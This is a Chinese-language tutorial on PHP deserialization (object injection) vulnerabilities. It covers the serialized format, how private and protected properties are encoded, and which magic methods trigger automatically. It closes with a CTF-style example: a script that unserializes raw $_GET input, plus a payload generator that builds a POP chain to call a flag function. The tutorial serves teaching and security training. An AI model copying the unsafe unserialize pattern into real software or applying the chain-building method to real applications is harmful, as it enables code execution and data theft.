PHP序列化
-
目的:将内存中的数据保存到磁盘中,所以也叫对象持久化
-
两个函数
- serialize() //将一个对象转换成一个字符串
- unserialize() //将字符串还原成一个对象
通过序列化与反序列化我们可以很方便的在PHP中进行对象的传递。本质上反序列化是没有危害的。但是如果用户对数据可控那就可以利用反序列化构造payload攻击。
-
示例
序列化
<?php
class test
{ private $flag = "flag{233}"; public $a = "aaa"; static $b = "bbb"; }
$test = new test;
$data = serialize($test);
echo $data;
?>
反序列化可以控制类属性,无论是private还是public -
结果:
O:4:"test":2:{s:10:"testflag";s:9:"flag{233}";s:1:"a";s:3:"aaa";}
-
序列化后的格式:
O:<class_name_length>:"<class_name>":<number_of_properties>:{<properties>}
-
序列化字符串的含义:
O:4:"test":2
:O代表这是个对象,对象名占4个字符,对象名为test,对象有2个属性
{}
:中为字符数、属性名、属性值 -
重点一:可以看到testflag的长度为8,序列化中却显示长度为10。这是因为,格式化,必然也会将属性的权限序列化进去,发现定义的类的属性有三种 private protected 和 默认的 public(写不写都一样),其中
-
Puiblic 权限:
他的序列化规规矩矩,按照我们常规的思路,该是几个字符就是几个字符 -
Private 权限:
该权限是私有权限,也就是说只能在所声明的类中使用,在该类的子类和该类的对象实例中均不可使用。
于是在序列化的时候一定要在 private 属性前面加上自己的名字。所以在私有属性序列化的时候格式是%00类名%00属性名
(两个 %00 ,也就是空白符) -
Protected 权限:格式是
%00*%00属性名
-
-
重点二:序列化他只序列化属性,不序列化方法,这个性质就引出了两个非常重要的话题:
-
我们在反序列化的时候一定要保证在当前的作用域环境下有该类存在。
- 这里不得不扯出反序列化的问题,这里先简单说一下,反序列化就是将我们压缩格式化的对象还原成初始状态的过程(可以认为是解压缩的过程),因为我们没有序列化方法,因此在反序列化以后我们如果想正常使用这个对象的话我们必须要依托于这个类要在当前作用域存在的条件。
-
我们在反序列化攻击的时候也就是依托类属性进行攻击。
- 因为没有序列化方法嘛,我们能控制的只有类的属性,因此类属性就是我们唯一的攻击入口,在我们的攻击流程中,我们就是要寻找合适的能被我们控制的属性,然后利用它本身的存在的方法,在基于属性被控制的情况下发动我们的发序列化攻击(这是我们攻击的核心思想,这里先借此机会抛出来,大家有一个印象)
-
PHP反序列化
- 在 uiseralize() 的作用下序列化字符串,还原成了对象,并且可以实现属性和方法的调用
为什么要 PHP 的序列化和反序列化
看到这里,肯定会有人问这个问题,如果说 json 是为了传递数据的方便性,那么 PHP 的序列化又是为了什么呢?
当然,传递数据的方便肯定是这种压缩并格式化存储的一大共同的属性,那么序列化除了这种属性以外还有什么特性呢?要是只是这样那干脆不如直接用 json 好了,当然有,从上面的实验中你没发现吗?我们把一个实例化的对象长久地存储在了计算机的磁盘上,无论什么时候调用都能恢复原来的样子,这其实是为了解决 PHP 对象传递的一个问题,因为 PHP 文件在执行结束以后就会将对象销毁,那么如果下次有一个页面恰好要用到刚刚销毁的对象就会束手无策,总不能你永远不让它销毁,等着你吧,于是人们就想出了一种能长久保存对象的方法,这就是 PHP 的序列化,那当我们下次要用的时候只要反序列化一下就可以了。
PHP 反序列化漏洞
- 概念解释:
PHP 反序列化漏洞又叫做 PHP 对象注入漏洞。
反序列化漏洞的成因在于代码中的 unserialize() 接收的参数可控,从上面的例子看,这个函数的参数是一个序列化的对象,而序列化的对象只含有对象的属性,那我们就要利用对对象属性的篡改实现最终的攻击。 - 必须知道的魔法方法:
__construct()
:当对象创建时会自动调用(但在unserialize()时是不会自动调用的)。__sleep()
:serialize() 函数会检查类中是否存在一个魔术方法 __sleep()。如果存在,该方法会先被调用,然后才执行序列化操作。此功能可以用于清理对象,并返回一个包含对象中所有应被序列化的变量名称的数组。如果该方法未返回任何内容,则 NULL 被序列化,并产生一个 E_NOTICE 级别的错误。
对象被序列化之前触发,返回需要被序列化存储的成员属性,删除不必要的属性。
__wakeup()
:unserialize()时会自动调用__destruct()
:当对象被销毁时会自动调用。__toString()
:- 当反序列化后的对象被输出在模板中的时候(转换成字符串的时候)自动调用
- echo (
$obj
) 或 print($obj
) 打印时会触发 - 反序列化对象与字符串连接时
- 反序列化对象参与格式化字符串时
- 反序列化对象与字符串进行
==
比较时(PHP进行==比较的时候会转换参数类型) - 反序列化对象参与格式化SQL语句,绑定参数时
- 反序列化对象在经过php字符串函数,如 strlen()、addslashes()时
- 在in_array()方法中,第一个参数是反序列化对象,第二个参数的数组中有toString返回的字符串的时候toString会被调用
- 反序列化的对象作为 class_exists() 的参数的时候
__get()
:当从不可访问的属性读取数据__call()
: 在对象上下文中调用不可访问的方法时触发
- 为什么要提到这些魔法方法
我们上面讲过,在我们的攻击中,反序列化函数 unserialize() 是我们攻击的入口,也就是说,只要这个参数可控,我们就能传入任何的已经序列化的对象(只要这个类在当前作用域存在我们就可以利用),而不是局限于出现 unserialize() 函数的类的对象,如果只能局限于当前类,那我们的攻击面也太狭小了,这个类不调用危险的方法我们就没法发起攻击。
但是我们又知道,你反序列化了其他的类对象以后我们只是控制了是属性,如果你没有在完成反序列化后的代码中调用其他类对象的方法,我们还是束手无策,毕竟代码是人家写的,人家本身就是要反序列化后调用该类的某个安全的方法,你总不能改人家的代码吧,但是没关系,因为我们有魔法方法。
魔法正如上面介绍的,魔法方法的调用是在该类序列化或者反序列化的同时自动完成的,不需要人工干预,这就非常符合我们的想法,因此只要魔法方法中出现了一些我们能利用的函数,我们就能通过反序列化中对其对象属性的操控来实现对这些函数的操控,进而达到我们发动攻击的目的。
寻找 PHP 反序列化漏洞的流程
- 寻找 unserialize() 函数的参数是否有我们的可控点
- 寻找我们的反序列化的目标,重点寻找 存在 wakeup() 或 destruct() 魔法函数的类
- 一层一层地研究该类在魔法方法中使用的属性和属性调用的方法,看看是否有可控的属性能实现在当前调用的过程中触发的
- 找到我们要控制的属性了以后我们就将要用到的代码部分复制下来,然后构造序列化,发起攻击
POP链构造
- 概念:POP 面向属性编程(Property-Oriented Programing) 常用于上层语言构造特定调用链的方法,与二进制利用中的面向返回编程(Return-Oriented Programing)的原理相似,都是从现有运行环境中寻找一系列的代码或者指令调用,然后根据需求构成一组连续的调用链,最终达到攻击者邪恶的目的。
通俗一点说:在无法直接利用某功能的时候,通过连续调用多个对象属性,进而达到某功能可以实现的目的。 - 利用:
一般的序列化攻击都在PHP魔术方法中出现可利用的漏洞,因为自动调用触发漏洞,但如果关键代码没在魔术方法中,而是在一个类的普通方法中。这时候就可以通过构造POP链寻找相同的函数名将类的属性和敏感函数的属性联系起来。 - 例子:
<?php
class start_gg
{
public $mod1;
public $mod2;
public function __destruct()
{
$this->mod1->test1();
}
}
class Call
{
public $mod1;
public $mod2;
public function test1()
{
$this->mod1->test2();
}
}
class funct
{
public $mod1;
public $mod2;
public function __call($test2,$arr)
{
$s1 = $this->mod1;
$s1();
}
}
class func
{
public $mod1;
public $mod2;
public function __invoke()
{
$this->mod2 = "字符串拼接".$this->mod1;
}
}
class string1
{
public $str1;
public $str2;
public function __toString()
{
$this->str1->get_flag();
return "1";
}
}
class GetFlag
{
public function get_flag()
{
echo "flag:"."xxxxxxxxxxxx";
}
}
$a = $_GET['string'];
unserialize($a);
?>
-
可以看到需要执行GetFlag类中的get_flag()函数,这是一个类的普通方法。要让这个方法执行,需要构造一个POP链。
-
构造POP链
string1
中的__tostring
存在$this->str1->get_flag()
,分析一下要自动调用__tostring()
需要把类string1
当成字符串来使用,因为调用的是参数str1
的方法,所以需要把str1
赋值为类GetFlag
的对象。
发现类func
中存在__invoke
方法执行了字符串拼接,需要把func
当成函数使用自动调用__invoke
然后把$mod1
赋值为string1
的对象与$mod2
拼接。
在funct
中找到了函数调用,需要把mod1
赋值为func
类的对象,又因为函数调用在__call
方法中,且参数为$test2
即无法调用test2
方法时自动调用__call
方法;
在Call中的test1方法中存在$this->mod1->test2();
,需要把$mod1
赋值为funct
的对象,让__call
自动调用。
查找test1
方法的调用点,在start_gg
中发现$this->mod1->test1();
,把$mod1
赋值为start_gg
类的对象,等待__destruct()
自动调用。 -
payload
<?php class start_gg { public $mod1; public $mod2; public function __construct() { $this->mod1 = new Call();//把$mod1赋值为Call类对象 } public function __destruct() { $this->mod1->test1(); } } class Call { public $mod1; public $mod2; public function __construct() { $this->mod1 = new funct();//把 $mod1赋值为funct类对象 } public function test1() { $this->mod1->test2(); } } class funct { public $mod1; public $mod2; public function __construct() { $this->mod1= new func();//把 $mod1赋值为func类对象 } public function __call($test2,$arr) { $s1 = $this->mod1; $s1(); } } class func { public $mod1; public $mod2; public function __construct() { $this->mod1= new string1();//把 $mod1赋值为string1类对象 } public function __invoke() { $this->mod2 = "字符串拼接".$this->mod1; } } class string1 { public $str1; public function __construct() { $this->str1= new GetFlag();//把 $str1赋值为GetFlag类对象 } public function __toString() { $this->str1->get_flag(); return "1"; } } class GetFlag { public function get_flag() { echo "flag:"."xxxxxxxxxxxx"; } } $b = new start_gg;//构造start_gg类对象$b echo urlencode(serialize($b))."<br />";//显示输出url编码后的序列化对象